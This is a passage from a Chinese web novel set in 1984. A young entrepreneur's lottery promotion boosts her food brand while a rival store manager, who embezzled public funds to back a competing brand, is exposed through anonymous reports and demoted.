不行,她回去就发动老头子和儿子,明天早上六点就去第一百货商店排队,免得到时候人多抢不上,奖品再让别人抽走了! 最好是分头行动,万一百货商店人太多,那就去离得最近的“珍珍”门店。 她小时候,她娘就找瞎子给她算过命,说她是天生有福之人,明天她就亲自上,说不定还真能抽到个好东西呢! “哎呀,大侄女,你这一手是真漂亮!我跟你说啊,现在咱们凤城一城的人都被你那个抽奖活动给招去了!” 刘五爷的大嗓门穿过话筒,格外宏亮的声音震得苏丽珍耳膜都有点发疼。 “本来昨天我还和你五大娘开玩笑,说是我们老公母俩也去你们搞活动的店转转,支持一下你们的活动。结果好家伙,我们俩连大门都没挤进去!那人山人海,怪不得你要提早安排那么多人手去维护,这人实在太多了,天上掉钱也就这阵仗了!” 第195章 苏丽珍举着话筒,态度十分谦逊:“五伯伯,您过奖了,其实我这也就是些小把戏,这次主要还是运气好。” 她心里确实是这么想的,购物抽奖这些本就是后世烂大街的招数,而且也不是她第一个想出来的。真说起来,她才是拾人牙慧的那个。 不过电话那头的刘五爷显然不这么想:“大侄女,你啊,就是太谦虚!这可不是光靠一句‘运气’就能做到的。你们那边就不说了,这次第一百货和第二百货可是借着你们的光,狠赚了一笔!老吕他们现在估计嘴都要乐歪了!” 他边说、边忍不住咂了咂嘴,话音里不觉带出了几分羡慕。 这次苏丽珍搞得抽奖活动,所有奖品都是从第一、第二百货公司出,包括那一笔笔面额不等的代金券也是指定必须在这两家兑付,大大提升了两家百货公司的销售业绩。 更因为这一系列抽奖、兑奖活动带来的效应,比如每当有大件奖品抽出时,苏丽珍就会安排大汽车把戴着大红花的中奖人、连同奖品一起拉上,在大街上美美转几圈,直接把效果拉满,结果就吸引了更多的人冲向两家百货公司。 不怕人来,就怕人不来。人来了,消费的机会自然就多了。特别是“珍珍”柜台这边购物、抽奖的人太多,大伙儿时常排不上,不少人等得无聊,干脆走一走、逛一逛,顺手就买了点东西。 你买一点,他买一点,这整体销量不就上去了嘛! 可以说,这次的活动直接把两家百货公司的销售额一举推到新高。 据说从二十四下午开始,两家百货公司的库房前,补货的大汽车来来回回就没断过! 你说这场面,都是做生意卖货的,谁能不羡慕! 只可惜他开的是批发公司,来他这里都是大宗进货,这个抽奖活动不适合他。 苏丽珍听出刘五爷话中的艳羡,便笑道:“五伯伯,我们这次活动也只是年前这几天,等活动一结束自然就不会这么热闹了。倒是五伯伯您,我听说这半年您的批发公司可没少赚,跟您一比,我们可就差得远了。” 这倒不是苏丽珍刻意恭维。刘五爷原本就是掌握着凤城大半个“黑市”的能人,黑白两道都有三分情面。 如今政策开放,他的买卖可以放到明处,能放得开手脚,所以这批发公司一开,对内将手里这一套业务重新整合规划;对外带人开疆拓土,发展和把握原材料市场。这生意做得红火,便是现阶段苏丽珍的食品公司也是略逊一筹的t。 苏丽珍这番话让刘五爷十分受用,他忍不住再次哈哈大笑起来:“哎呀,大侄女太会说话了!不过我能开这家批发公司,还不是全靠你当初给我想的这个主意?所以大侄女你可是我的贵人啊!” 苏丽珍不由笑道:“五伯伯才是太客气,我不过是顺嘴提了一句,以五伯伯您的能力,早晚都会想到的。再说,这次我们公司活动,也全靠您大力支持,先是借给我们那么多台汽车跑宣传,后面又借人手帮忙维护活动安全,我心里格外感激。” “五伯伯,这几天实在抽不出空,等年后我一定亲自登门拜访,好好答谢您老的慷慨相助。” 刘五爷忙道:“哎,说这些就外道了,不过五伯伯喜欢听你说话。这样咱们说好了,年后你就过来,到时候我让人弄一批东港那边的海货过来,专门招待你!” 苏丽珍笑着答应。 挂断电话后,苏丽珍拿起面前的《凤城日报》,那上面头版头条刊登的就是他们活动第一天,南区利民大街上一位姓李的老太太在第一百货抽到一等奖的新闻。 报道中还有两张照片,第一张就是这位中奖的李大妈身戴大红花,怀里抱着一台崭新的14寸黑白电视机,站在同样挂着红绸、红花的大卡车上游行庆祝的画面。 照片上李大妈笑容格外灿烂,和车厢前露出的一截海报上醒目的“珍珍”两个大字交相呼应,无疑成了他们本次活动的最佳“代言人”。 第二张是设置在两家百货公司门口的“珍珍”专柜前人们大排长龙,等待购物抽奖的照片。照片上,与人山人海排队的顾客相对的,是“珍珍”柜台旁边展出的那一溜电视机、自行车、缝纫机等大奖,所有奖品上也都扎着鲜艳的大红花。 这两副场景,一动一静;而冬日里人们身上灰扑扑的棉袄也被旁边夺目的大红花衬出几分光彩,强烈的对比效果带来了视觉冲击,让人见之难忘。 苏丽珍欣赏着这两张照片,觉得回头有必要给李孟儒打一个电话,对他们做出这样生动的新闻报道表示感谢。 而且有了这篇报道的积极宣传,肯定会给他们这次活动再添上一把火。 今天是腊月二十六,活动从二十四开始,今天刚好是第三天。原本按照苏丽珍的计划,六天的活动,除了第一天会分别投放一、二、三等奖之外,从第二天到第四天,这三天时间里奖品主要集中在少量二等奖和大部分三、四、五等奖上。 也就是说,这三天开出的大奖频率并不高。 她会在倒数第二天下午放出压轴的特等奖彩电,同时在这最后两天加码第一、二等奖,直接把这次活动推向高/潮,以获取最大收益。 这样的安排,最中间的两天可能相对稍显疲软,但是有了这些新闻报道,肯定会为他们增添助力,说不定能吸引更多潜在顾客。 放下报纸,她愉悦地起身,准备下楼到车间走一圈。 这几天做活动,产品销量猛增,工人们现在三班倒,人歇,机器不歇,都在加班加点忙订单,所以她这几天也是早出晚归,大部分时间都泡在车间里。 刚一动,桌上的电话就响了。 她接起电话,原来是第二百货刘经理打来的。 刘经理刚看过《凤城日报》上有关“珍珍”这次活动盛况的报道,尤其报道中不只宣传了“珍珍”,还着重提到了他们两家百货公司。 虽说他们已经做了凤城零售市场老大多年,但谁会嫌自家的客流量太大呢? 就是傻子也知道,如果百货公司能在他们手里做出更好的成绩,必然对他们今后的升迁有利。 所以刘经理再次表达了对她的感谢,说是今天一开门,就有远超昨天和前天数量的顾客涌进店,不少人还拿着报纸找工作人员确认。 而今天才是活动的第三天,不提苏丽珍最后两天的压轴计划,只说仅仅截止到今天,这次活动为他们带来的收益就已经格外喜人了。 然后刘经理高兴之余,也不忘委婉地向苏丽珍催了下货,希望他们食品公司这边能多辛苦一些,保证活动期间的供货量。 结束了跟刘经理的通话,这头电话才撂下,转头吕经理又打来了。 两人就像约好了一样,一前一后,连说话的内容都一模一样。 只不过吕经理这边明显更亲近一些,临挂电话前还说托人从连市那边弄回来一批大鱿鱼和梭子蟹,回头给她送两筐尝尝鲜。 挂了电话后,苏丽珍不禁失笑,现在好像所有人都知道她喜欢吃水里的东西了!从她回来这段时间,家里各种河鲜、海鲜冻货已经占了半拉阳台,够吃到开春了。 这种似乎被整个世界另眼相待的感觉委实让人迷醉。 不过只是原地陶醉了几分钟后,她就果断地从椅子上起来,按计划继续下车间。 都说相比快乐的记忆,苦难的经历更让人刻骨铭心。苏丽珍不知道别人会不会这样,至少她是如此的。 虽然现在的她每天会被大量工作占据脑海,但前世的点点滴滴早已经随着时间流逝刺进四肢百骸,渗入血液骨髓。 不要说遗忘,连放下都做不到。 所以她早已为今生找到了一条最合适自己的道路,就是这样一直向前奔跑,一刻不停,为她深爱的家人、朋友趟平这一路的波澜坎坷。 这于她,已是最好的归宿。 苏丽珍先到各车间走了一遍,与齐志飞简单碰了个头,确定没什么问题后,就换上工作服,进入配料室和包装车间跟工人们一起干了半下午的活。 等从包装车间出来,外面的日头已经只剩下小半截,眼见着就要落山了。 苏丽珍又转道去了趟食堂,这几天工人们加班加点赶订单,十分辛苦,所以后勤这块必须得保障好。 推开食堂大门,离得灶间老远她就闻到一股扑鼻的香味,原来食堂的大师傅正在炸豆腐丸子,忙活了一天、中午只来得及对付一口的苏丽珍肚子立时开始咕咕叫了起来。 “苏总来了!快尝尝咱们今天的豆腐丸子,猪油炸的,老香了!” 大师傅亲自给苏丽珍盛了一小铝盆的豆腐丸子,原本想推拒的她被迎面扑来的这股属于油炸食品独有的霸道香味勾的说不出话,索性道一声谢,大大方方接过来吃。 夹起一个圆溜溜的豆腐丸子,咬上一口,外皮微焦发酥,内里却细腻绵软,豆制品的清香在油脂的激发下转化成更浓烈的焦香,加上葱花和五香粉的加持,这豆腐丸子的美味居然一点不输肉丸,真是好吃! 看她吃得香,大师傅很高兴,还顺口介绍起今晚的菜单:红烧肉炖大豆腐,白菜粉条五花肉烩豆腐丸子,再炒一个下饭用的香辣咸芥菜丝。 旁边洗菜的大姨们就忍不住插嘴,说这伙食快赶上他们家过节时吃的了,还有人说家里过年也就这样的标准了。 其他人也都纷纷附和。 因为苏丽珍经常在各部门巡视,还经常下车间跟工人们一起干活,所以大家经过最初的紧张不安后,发现她对认真做事的人态度非常亲切,渐渐也就不会再因为她的身份惧怕她。 甚至大家知道她是首都大学的大学生后,心里还格外佩服,都道怪不得小老板年纪轻轻就能置办下这么大的家业,人家这脑瓜子就甩了他们八百条街。 大家这会儿说这些倒也不是拍苏丽珍马屁。毕竟就算是这几年自由市场兴起,大家经常能买到不要票的油和肉,但是不要票价格总归要贵一些,也不是所有人都舍得吃。 尤其这几年工作不好找,大批知识青年返乡待业,大家又意识到供孩子读书考大学的重要性,所以即便很多双职工家庭也舍不得放开手脚大吃大喝的。想吃肉,那也只能等年节或者来人请客的时候。 而像“珍珍”公司这样,能保证顿顿一荤一素,且荤菜还是正儿八经的大荤。就冲这个,在好多人心里,哪怕“珍珍”只是家私人企业,不是“铁饭碗”,他们也稀罕得很。 苏丽珍这会儿是真的饿了,一口气吃了七、八个丸子。大师傅见状,忙又喊人给她打了一碗热腾腾的豆浆。 苏丽珍有些诧异:“怎么这时候还有豆浆?” 大师傅乐呵呵道:“自从咱改成一天三顿供饭以后,刘家屯那边就每天往咱这儿送两趟豆腐,早一趟、晚一趟。这不,最近听说咱厂子忙,t就隔三差五给咱送一桶豆浆,也不要钱,倒是讲究得很!” 苏丽珍知道现在给厂子食堂供应豆腐的是张表舅二儿媳的娘家,当初为了这事,张家很是闹腾了一阵,虽然最后看在张表舅两口子的面子上,苏丽珍应下了这件事,但张表舅两口子一直心里过意不去,在她开学走后不久就分了家。为这事,张家老太太还大病了一场。 如今看来,这家人做事还算用心,至少这么长时间来,苏丽珍还没听过他们出过什么错。 再说这豆浆,虽然不值多少钱,但是这冰天雪地从刘家屯大老远送过来也不容易,确实是有心了。 既然如此,她也不介意照顾一下熟人。 开年“筑梦”公司就要投入长途客运站工程建造中,一方面需要扩招人手,再者为了节省时间、提高效率,她和丁大勇打算在工地直接建一个临时食堂,每天中午提供工人们一顿午餐,到时候可以让刘家人负责供应豆制品。 几十号人的用量,对于人口简单的刘家人来说既能负担得起,也能多一笔收入,应该是比较合适的。 喝了一碗热腾腾的豆浆后,苏丽珍肚子也有八分饱了,叮嘱了食堂大师傅这段时间排好班,务必要保证餐饭供应及时,这才慢悠悠离开。 结果刚出食堂大门,就跟兴匆匆回来的苏振东和王树走了个碰头。 苏丽珍一眼就看见两人脸上隐隐的兴奋神色,知道事情估计是成了,先给两人使了个眼色,飞快道:“东叔,回办公室再说!” 两人会意,直接跟着苏丽珍一起,进了她的办公室。 屋门一关,苏振东就迫不及待道:“珍珍,跟你之前预料的一样,那两人这回十有八九是掉坑了!” 接着,他又扒拉了一下王树:“详细的,让小树跟你说!” 王树赶紧道:“张姐给我递消息说,姓常的从昨天下午开始就特别焦躁,一趟趟地往看她代管的‘好味’柜台跑。而且跟之前这位有事没事就往财务室跑不同,这回调过来了,是那个财务室的老会计动不动出来找他。” “两人虽然藏的好,但还是被张姐发现他俩情绪不好。尤其今天中午,趁着大伙儿吃午饭的工夫,这两人避着人,在第三百货公司的仓库一角嘀嘀咕咕的,好几次还差点吵起来。” “张姐怕被发现,没敢靠太近,不过从偶尔听到的一两句话推测,两人这次争吵主要因为钱的事。张姐原话说,感觉像是姓常的欠了老会计一大笔钱。” 第196章 苏振东在旁边抚掌大笑:“我看这姓常不是欠了老会计的钱,是真的如珍珍所说,他胆大包天,通过老会计挪用了单位的公款!” 苏丽珍闻言也不禁唇角微弯。 “这位常经理一向野心十足,又唯我独尊惯了,难得咱们给他提前搭好了台子,他自然要跳上去舞一舞。” 举办抽奖活动拉动自家产品销量,连带帮作为合作方的第一、第二百货公司宣传引流一波,达成共赢互利的局面只是她计划里的一部分。 她最终的目的还是要教训一下不太讲规矩的常、陈二人。 时间回到腊月二十一那天,几乎是中午他们刚刚结束跟吕经理的碰面,苏丽珍就在当天下午,借着公司的人去第三和第四百货清理库存的时候故意放出风声,让常、陈二人误以为因为他们的突然解约,导致苏家对吕经理产生不满,双方大吵了一架,而继第三、第四百货跟“珍珍”解除驻场销售合同外,这次恐怕第一、第二百货也悬了。 然后同一时间,苏丽珍就和早早约出来的吕经理、刘经理两人达成一致,让两个人帮忙做出传言属实的假象,特别是当常、陈二人过来套话的时候。 当然,考虑到对方都是一个系统的,今后抬头不见低头见,明面上不好把事情做绝,所以苏丽珍只要求吕经理他们表现出一副模棱两可的含糊态度就行。 吕经理和刘经理也是摸爬滚打多年的老油条,这点事自然难不倒他们,所以在当晚回家接到常、陈二人打来的电话探口风时,两人就一个劲儿向对方大吐苦水,指责苏丽珍这边不念旧情、不讲道理云云。 等被问到解约的传言是否属实的时候,两人就含含糊糊,做出一副十分苦恼、不甘心被苏丽珍拿捏,大不了一拍两散的态度。 常、陈清楚吕经理本就跟苏家有交情,刘经理呢,又一向跟吕经理走得近,大概率两人在这件事上也是共同进退。如今吕经理明显表现出对苏丽珍的不满,那这传言大概率会成真。 而苏丽珍这边,不只是让吕经理和刘经理帮忙表态,为了坐实传言,她还直接停了腊月二十二和腊月二十三两天的对外销售。 苏丽珍这样的举动落在常、陈二人眼里,无疑更加证实了苏家和第一、第二百货公司产生矛盾的说法。 他们还一度嘲笑苏丽珍这个决策人实在太过年轻气盛,想逼吕经理他们低头,就不惜停止给那两家百货公司供货,为了堵嘴,甚至连自家直营的五家门店的货也给停了。 在他们眼里,苏丽珍这样做绝对是伤敌一千、自损八百。不说这样明晃晃地跟雄踞在本地零售市场上多年的两家百货公司这样对着干应不应该,就说年跟前儿这样闹腾,要平白产生多少损失? 他们自然不会替“珍珍”心疼这笔损失,反而会觉得是碰到了千载难逢的好机会! 所以常、陈二人一边卯着劲儿在吕经理和刘经理面前挑拨,希望他们能和苏家一直这样僵持着,同时呢,他们一边利用这一段时间迅速推广“好味”,抢占市场。 就算短时间内争不过“珍珍”,起码年前这几天,赶上这个风口,他们也能狠赚一笔。, 常、陈二人的心思完全在苏丽珍预料中,或者说这就是苏丽珍有意引导他们做出的打算。 果然,常、陈二人头一天晚上跟吕经理他们通完电话,又在第二天,也就是腊月二十二观望了大半天,确定两家百货公司和五家分店全无动静后,终于坐不住了。 按照那位售货员张姐的观察,二十二下午临下班前,江宏达急匆匆过来,她本来想拉住人套套话,然而还不等她上前,这人就被常经理一把拉进自己的办公室。 等这个江宏达离开时,已经下班有一阵儿了,张姐假装闹肚子磨蹭了一会儿,发现常经理又一头钻进财务室,和老会计关着门不知道商量什么,反正半天没出来。 张姐又等了一会儿,见保安已经开始巡逻,怕再待下去被人察觉,只得下班了。 虽然张姐没提供什么太有用的信息,但就她所观察到的情况也大致符合苏丽珍的推测。 特别是第二天,腊月二十三小年上午,苏丽珍让丁大勇联系省家禽养殖场的综合办公室,这两年“筑梦”公司那边跟对方做的几次工程都是与这个部门打交道。 所以丁大勇稍微一套话,就打听到头一天晚上有个姓江的年轻人连夜从他们养殖场拉走了一批鸡鸭,走的是第三百货公司常经理的路子。 然后她又联系了刘五爷,得知今天一大早,他们批发公司也卖出了一批猪肘和下水,对方恰好是一个叫江宏达的人。 到这里,苏丽珍基本能确定常、陈二人已经跳进了她提前挖好的陷阱里。 所以直到小年下午,她才踩着最后一点时间,让公司安排的活动宣传车出来。 这个时候,就算是常、陈二人发觉不对,那一批鸡鸭和猪肉下货恐怕也已经有半数下了锅。 而省养殖场一向有明文规定,为避免感染疫病,但凡销售出去的活禽是一律不予退货的。 刘五爷这边更是,因为以前做“黑市”买卖,历来要求银货两讫,要是熟人也就罢了,否则想退货,没门! 所以这批货是注定要砸在他们手里了。 当然,毕竟时间比较短,也可能两人压根没意识到苏丽珍这次活动是如何的“来势凶猛”。 反正不管这两人怎么想,时间到了腊月二十四,“珍珍”抽奖活动正式开始,直接引/爆了一座城的热情狂欢。 这会儿,就算这两人再怎么大意,也该明白他们掉了坑。 尤其张姐回话说,随着他们“珍珍”活动开始,她这边的“好味”柜台一天就只卖出去两只五香鸡t。 对比一大清早江宏达兴致勃勃地拉过来整整两大三轮车的各种熟食,这结果属实惨烈。 而且不止他们“好味”柜台,整个第三百货当天就没有多少客人,只不过其他柜台客人再少,好歹也有个小猫三两只,怎么都比她这“好味”柜台门可罗雀强。 第三百货如此,第四百货那边也不遑多让,一对难兄难弟,谁也别说谁。 而常经理在观望了一天后,也从一开始的漫不经心到脸色发青,反正这回是真着急了,从昨天也就是腊月二十五大早上一来就四处打电话“摇人”,期望发动亲朋好友帮着消化一部分“好味”库存。 原本常、陈二人到底是偌大一家百货公司老总,真舍下一张脸还是有点作用的,只可惜他们这次运气太差,以往有个三分作用的面子,今次是半分没用上。 归根结底,还是苏丽珍这次时间掐的好。 这个时候,大多数公家单位的福利节礼都已经发下去了。毕竟厂里上下谁家没几门子亲戚?节礼早早发下去,大家安排着走亲访友的时间也更充裕。 再者,早发、晚发都是发,何况这年节福利是最彰显各单位实力的一项了。又不是效益不好,抠抠搜搜拿不出好东西,要不然没哪个单位非得紧贴着年根儿再发,基本上最迟小年前就安排到位了。 常经理想走哪个公家单位的路子行不通,仅靠个人,终归是消耗有限。所以即使二十五这天开张卖掉了一部分,但对比剩下的,还是相差甚远。 而江宏达这边,因为之前听了常、陈二人的安排,为了尽早出货,抢占这所谓的“黄金销售期”,从接到食材开始就加班加点的开始忙。据张姐打听,他为了赶这批货,在郊区那边租了个破仓库,一直在那边闷头苦干,这也就导致他根本不知道“珍珍”这边如火如荼的促销活动。 所以等常经理那头实在坚持不住,派了人火急火燎去通知他停工的时候,时间已经是二十四下午了,这批食材也被用了个七七八八。 这么一来,本就堆积的库存进一步“雪上加霜”。 所以才有了今天张姐看到常经理一直被财务室老会计围堵的情形。 任谁都看得出,“珍珍”那边活动一办,他们这批货怕是要砸在手里了。 事情到此基本已经明了,江宏达购置食材的钱有百分之九十的可能就是常经理伙同老会计挪用的公款。 虽说心里早有猜测,但是这几天一直授命观察第三和第四百货动向的王树还是有些难以置信。 “我真是搞不明白,这姓常的不满咱们当初保留定价权的事,所以见缝插针扶持江宏达的‘好味’上位,好跟咱们打擂台,这行为还能看作他是故意针对咱们出气。可他有必要为了一个江宏达做到这种地步吗?” 挪用公款,这可是犯罪! 不管怎么说,这人毕竟掌管着一家百货公司,其实无论留下来的是“珍珍”、还是“好味”,具体销量好坏对他个人的影响都不大。毕竟也没听说哪家国营百货公司的老总因为某个商品收益下滑就受处分,他们没那么大本事。 但偏偏这人就这么掺和进来了,为此甚至不惜铤而走险干犯法的事! 难道就为了出这一口气? 要叫王树来看,实在不至于。 反正如果不是之前苏丽珍的分析一环扣一环,而这人的表现又大致符合他们推测,王树是真不敢相信世上还有这么傻的人! 他不觉把心中的疑惑说了出来。 苏丽珍听完却摇了摇头,道:“他不是傻,而是贪。” 她耐心解释道:“他肯下这么大的力气自然是有利可图。别忘了,他之前跟江宏达约定的入驻提点可足有20%。” “假设这次他帮着江宏达跟我们打擂台成功了,那么借此机会,‘好味’很有可能一炮而红,真正在市场上立足。或者再大胆一点,今后说不定能跟我们分庭抗礼。” “那么大的市场代表了多么大的收益,他这个百货公司老总自然比谁都清楚。所以我猜,一旦这次他把事情做成了,今后肯定会把‘好味’的零售价卡着咱们的标准再往上提一点。” “同时呢,他也会以‘好味’已经出名,会为百货公司带来更多收益的借口,打着江宏达的旗号,把当初高达20%的提点下调。当然,为了大面上好看,更为了跟咱们做出区别,就算是下调,也会比咱们当初给的10%要高一点,比如12%就是个不错的比例。” 说到这里,苏丽珍语气一转,问王树道:“那么树哥,你认为他降下来的这部分提点最后会老老实实返还给江宏达吗?” 王树顿时犹如醍醐灌顶:“苏总,你的意思是他借着这次主动给江宏达垫款,就是为了今后从‘好味’那里谋好处……那是不是相当于他挪用这笔公款在江宏达那里入伙?” 苏丽珍点头:“也可以这么理解。我再说一件事,你看之前咱们撤出,‘好味’进驻第三百货的时候,明明在初期,姓常的是承诺过百货公司里的销售和财务人员赚取的抽成补贴跟咱们的标准一样。” “结果没两天,这笔钱就被直接砍掉了大半,要是‘好味’销售情况不好也就算了,偏偏这时却还要增加供货。明明这笔费用是供货方也就是江宏达负责的,并不涉及百货公司的利益,那姓常的何苦中途变卦呢?” 当然是因为他也升级成了供货方的利益团体,为了节约成本才如此。 而且大约也是因为这个原因,所以那个张姐才会在王树私下找她,请她帮忙盯人时,几乎没怎么考虑就一口答应下来了。 想必是“好味”给相关工作人员的好处少了,可活却多了,如果换了别人,这些端惯了铁饭碗的人可能早就发飙了,但因为常经理的缘故,他们敢怒不敢言,所以心里才怄着气。 当然,王树私底下给的好处不少也是一方面。 王树听完忍不住皱眉道:“能买下那么多的食材,这笔钱肯定不是小数目。可话又说回来了,这‘好味’熟食从技术到出工、出力全是江宏达一个人,现在姓常的不过是出了一笔钱,将来就要拿走‘好味’一大笔利润,那这江宏达岂不是更亏了?” 而且这个抽成很可能还是长期的。之前他们就算过,江宏达现在这个干法挣得完全是一点辛苦钱,距离赔本也就一线之间,今后上头再压一个姓常的,搞不好是变成替对方打工了。 这回不等苏丽珍开口,苏振东先笑呵呵道:“事情不能这么看。钱是有数的,但对于生意人来说,市场和名气有时候比利润本身更有价值。再加上常经理自身的人脉阅历,也远不是他一个未曾出头的年轻小伙子能比的。要是从这些方面看,江宏达也不算很吃亏。” 苏丽珍点头,她和东叔的看法一样。 只不过一个人再有本事,如果品行不好,立身不正,也没办法成为合伙人。 尤其常经理这种人,绝对不行。 只是这个江宏达,她没接触过,无从得知对方人品。 其实,她并没想过要对付他。 虽说他们是竞争对手,可商店里一个货架上同种品目、不同品牌的商品多的是,她不可能见着一个同行就要跟人死磕。 但这次,江宏达显然要受常经理的牵连了。 是的,既然她的敌人已经跳进了她预先挖好的陷阱,那她自然要准备给予对方最后一击。 所以这个过程势必要连累江宏达。 不过在她看来,与常经理这样的人合伙实在不是什么明智之举,就算没有她出手,这两个人之间的合作也不可能长久,就像埋了一颗定时炸/弹,不定哪天就会引爆。 而现在,不过是早一点引爆这个炸*/弹而已。 当天晚上,三封内容相近、只笔迹不同的匿名举报信分别被投放到市长信箱,以及市商业局和省商务部各自的意见箱里。 第197章 时间眨眼间到了腊月二十九,要问凤城人,年前这几天,什么最火爆。 那上至八十九,下到刚会走,但凡一个凤城本地人都会告诉你:是“珍珍”食品举办的抽奖活动! 六天的活动期间,随着一个又一个的大奖开出,中奖的人不t但能拿到价值不菲的奖品,还能坐上喜庆的大汽车美滋滋地游街亮相,运气好甚至能上报纸、上电视,那叫一个光彩! 眼下人们在街头巷尾遇见,上班下班碰头,见面第一句不是往常的“年货备齐了吗?”,而是“去抽奖了吗?” 在这样的热闹盛景下,“珍珍”这两个字也真正做到了在本地家喻户晓、无人不知的程度。 二十九下午,距离活动结束不到两个小时的时间,但是两家百货和五家“珍珍”直营店的顾客却丝毫不见少。 特别是打从昨天差不多同一时间,有人在东城的一家分店内抽中特等奖之后,因为知道剩下的最后一天时间里,还有一个一等奖和一个三等奖没有被抽到,所有人们越发精神十足了。 几乎是今天早上各家店面刚开业,就被来购物抽奖的顾客围了个水泄不通。 上午有人在第二百货抽到了三等奖,目前还剩下一个一等奖,所有人都瞪大了眼睛,一个个摩拳擦掌,心里把认识、不认识的神仙菩萨通通求了个遍,好让自家能“一举夺魁”! 直到截止活动结束前的最后半个小时,本次活动的最后一个大奖,一等奖的14寸黑白电视终于在第一百货被一个年轻姑娘抽中,为活动引爆最后一波狂欢高/潮! 同时,也预示着本次活动即将圆满收官。 为期六天的抽奖活动,有的人满载而归,有的人手气平平,还有的人虽然与大奖无缘,却拿了好几个纪念奖,算一算,居然也是赚的。 大家认识的、不认识的,三五成群凑在一起,讨论的话题都是与抽奖相关。 直到活动结束,工作人员开始清场,不少人还流连在原地,一遍遍回味着那些幸运儿抽中大奖时极致惊喜和激动的瞬间,幻想着下一次也许那个幸运儿就是他们自己。 总之,无论是否有所得,在84年这个家家飘着卤味香的春节里,“珍珍”成了无数人难忘的回忆之一。 而在大多数人一边对这次抽奖活动津津乐道、一边欢欢喜喜准备迎接新年的时候,常、陈二人这个年却注定没法过得开心。 腊月二十八下午,市纪检调差小组接到举报,对第三百货和第四百货的两位负责人,常、陈二人实行突击调查。 彼时,常经理正为积压的那一大堆“好味”熟食寻找销路而疲于奔命,同时,还要绞尽脑汁应付不停来催款的老会计,整个人正心力憔悴呢。 这时,面对突然上门的纪检工作人员,他整个人都懵了一下。 这事也合该他走到这一步。原本按照流程,常经理的情况完全可以由上级部门,也就是商务部成立临时审查小组先进行内部审查。 而常经理毕竟在第三百货盘踞多年,背后自然也是有靠山的,如果这次运作的好,凭借背后靠山,那他完全有机会把事情大事化小。最起码对方也能提前给他通个气儿,让他把挪用公款的口子先堵上,那这事说不定就直接小事化无了。 可偏巧,苏丽珍那边的抽奖活动几乎把整个凤城人的注意力都吸引过去了,眼看着第一、第二百货和那几家“珍珍”门店红红火火,连带货架上其他商品都跟着销量飙升,偏他们原来跟“珍珍”有合作的第三和第四百货公司却静悄悄,一点动静没有。 等再一打听,好家伙,这两家居然一声不响突然跟“珍珍”解约,转头去捧一个听都没听说的个体户小牌子。 虽说“珍珍”也不是国营单位,可今时今日,以他们的体量、规模和知名度,谁还敢小瞧他们? 所以非公办和非公办之间也是天差地别的。 人心里都有杆秤,第三和第四百货突然整这一出,这不是秃子头上长虱子——明摆着吗? 这里头有事啊! 再说常经理这个人,近些年有些飘,行事越发没个顾忌,因此里里外外得罪了一些人。不说他本就占着百货公司老总这么一个肥缺,单就他这个人,私底下就有不少人看不惯,总有人想找机会对付他。 所以通过这次“珍珍”的活动,一些聪明人就嗅出了味道,开始明里暗里盯着常经理 正好这时候苏丽珍的举报信递上来了,立时有人觉得这是对付常经理的好时机,不由分说抓准机会就插上一脚,或者暗中推波助澜一番。 反正一来二去,这事就在短短时间迅速发酵,甚至连常经理背后的靠山都来不及发力,这案子就被直接送到了纪检那边,相当于事情直接闹大升级了。 就算常经理有靠山,这会儿也不敢轻易动作了。 好在常经理也算反应快,面对纪检的人,很快就调整好情绪应对。 可他稳得住,不代表别人也可以。这几天本就为账目担惊受怕的老会计就没能撑住,几乎是跟纪检的人员一个照面就露了怯,让人看出端倪。 等再被人单独带走审问后,没几下就全撂了。 因为老会计的供词加上财务上明显的少了一大笔款项的账目,人证物证俱全,常经理就算再怎么巧舌如簧也没用了。 但他到底有几分急智,虽然承认自己挪用公款,却坚持自己这么做只是为了帮助江宏达扩大产量,提高总体收益而已,毕竟江宏达的“好味”可以给他们百货公司20%的销售提点。 所以他的出发点是好的,他这么做也不是为了自己,是一时惜才心切,更是为了给百货公司增收,这才一时糊涂犯了错。 这要是心思单纯的人没准就真信了他的鬼话。 好在人家纪检的工作人员也不是白给的,人家直接问他:“好味”不过是一个名不见经传的小牌子,它的创始人江宏达既不是什么老字号的传承人,也不是什么厨艺大家,甚至连相关的经营证明都没有!这么一个哪哪儿都不合规的小作坊,你为什么那么看好? 如果说是为了那20%的提点,可据他们了解,之前第三百货主动解约的“珍珍”,尽管提点没有那么高,但人家是凤城当地知名品牌,销量方面一直很不错,一直是各大百货公司副食品类商品的销量王牌,这难道不比风险大的“好味”更有保障吗? 最后一个问题,就算“好味”提点高,可却需要你们百货公司先反过来给对方掏一笔钱支撑,那这所谓的高收益到底是挣谁的钱? 常经理的说辞在这三连问之下显得太过苍白,完完全全就是狡辩。 他也知道自己的理由站不住脚,可一旦认罪,那他这次轻则丢掉工作,严重说不定要去劳改,所以他只能咬牙硬扛,坚称自己只是觉得江宏达能给公司带来收益,所以才会违规借钱给对方以渡过创业初期的难关。 也算他有点运气,纪检的人查到他确实是与江宏达认识不久,两人算是非亲非故,且没查到他们除了供货合同以外,有什么其他利益往来。 虽然这里的事,明眼人一看就知道有猫腻,但一切调查都以证据为前提。从这方面来看,第三、第四百货公司和江宏达手里那些滞销的“好味”熟食因为还没有变现,对现在的他们来说,反倒是好事。 加上常经理愿意第一时间将挪用的公款补上,所以他这次好歹免除了牢狱之灾。 常经理是这样,那边第四百货陈经理情况就好了不少。 当初常、陈二人定下这个计划的时候,因为陈经理比较谨慎,所以挪用的公款数额相对较小。而常经理那会儿一心想着利用这次机会大赚一笔,因此想着陈经理出的钱少也好,这样大头就都在他这边,将来江宏达也更得唯他马首是瞻,所以也没反对。 陈经理在前两天发现“好味”的熟食卖不动,而身边总有人明里暗里打听他们为什么突然和“珍珍”解约的时候就直觉不好,思来想去,还是决定先把挪用的公款还上。 他这一步棋走的很对,几乎是他上午刚把账目理清,下午纪检的人就上门了,算是有惊无险。 不过因为他和常经理的错误决定,导致年前这段时间第三和第四百货客流锐减,整体销售情况欠佳,利润严重不达标,所以之后的一段时间里,每逢商务部门开会必要被当众点名批评一顿,那种滋味也很不好受就是了。 可即便如此,陈经理也是比较幸运的,相比之下,常经理的结果就不太如意了。 他虽然免除了牢狱之灾,但第三百t货老总的宝座以后是不用再想了,而且这次连第三百货也待不下去了。 年后,上面直接将他调到了下面县城的百货公司里当基层的销售科员,这辈子很难再回来了,只是勉强保住了一份工作而已。 不过据说这也是他散尽家财,求爷爷告奶奶才换来的结果。 苏丽珍得知这个消息的时候,正在《凤城日报》编辑部。 今天下午公司活动结束,明天就是除夕,年前这一场大卖,市场基本达到饱和状态,至少正月十五之前估计都只会维持在一个平常的程度。 既然卖不动货,那她索性研究点别的。 